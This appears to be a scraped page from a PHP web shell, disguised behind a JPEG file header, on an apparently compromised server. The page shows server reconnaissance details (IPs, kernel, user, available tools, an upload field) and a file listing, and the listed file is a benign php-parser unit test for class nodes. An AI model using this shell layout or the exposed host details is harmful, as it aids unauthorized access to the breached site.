ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.127.153 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ |
Upload File : |
<?php namespace PhpParser\Node\Stmt; class ClassTest extends \PHPUnit_Framework_TestCase { public function testIsAbstract() { $class = new Class_('Foo', array('type' => Class_::MODIFIER_ABSTRACT)); $this->assertTrue($class->isAbstract()); $class = new Class_('Foo'); $this->assertFalse($class->isAbstract()); } public function testIsFinal() { $class = new Class_('Foo', array('type' => Class_::MODIFIER_FINAL)); $this->assertTrue($class->isFinal()); $class = new Class_('Foo'); $this->assertFalse($class->isFinal()); } public function testGetMethods() { $methods = array( new ClassMethod('foo'), new ClassMethod('bar'), new ClassMethod('fooBar'), ); $class = new Class_('Foo', array( 'stmts' => array( new TraitUse(array()), $methods[0], new ClassConst(array()), $methods[1], new Property(0, array()), $methods[2], ) )); $this->assertSame($methods, $class->getMethods()); } public function testGetMethod() { $methodConstruct = new ClassMethod('__CONSTRUCT'); $methodTest = new ClassMethod('test'); $class = new Class_('Foo', array( 'stmts' => array( new ClassConst(array()), $methodConstruct, new Property(0, array()), $methodTest, ) )); $this->assertSame($methodConstruct, $class->getMethod('__construct')); $this->assertSame($methodTest, $class->getMethod('test')); $this->assertNull($class->getMethod('nonExisting')); } }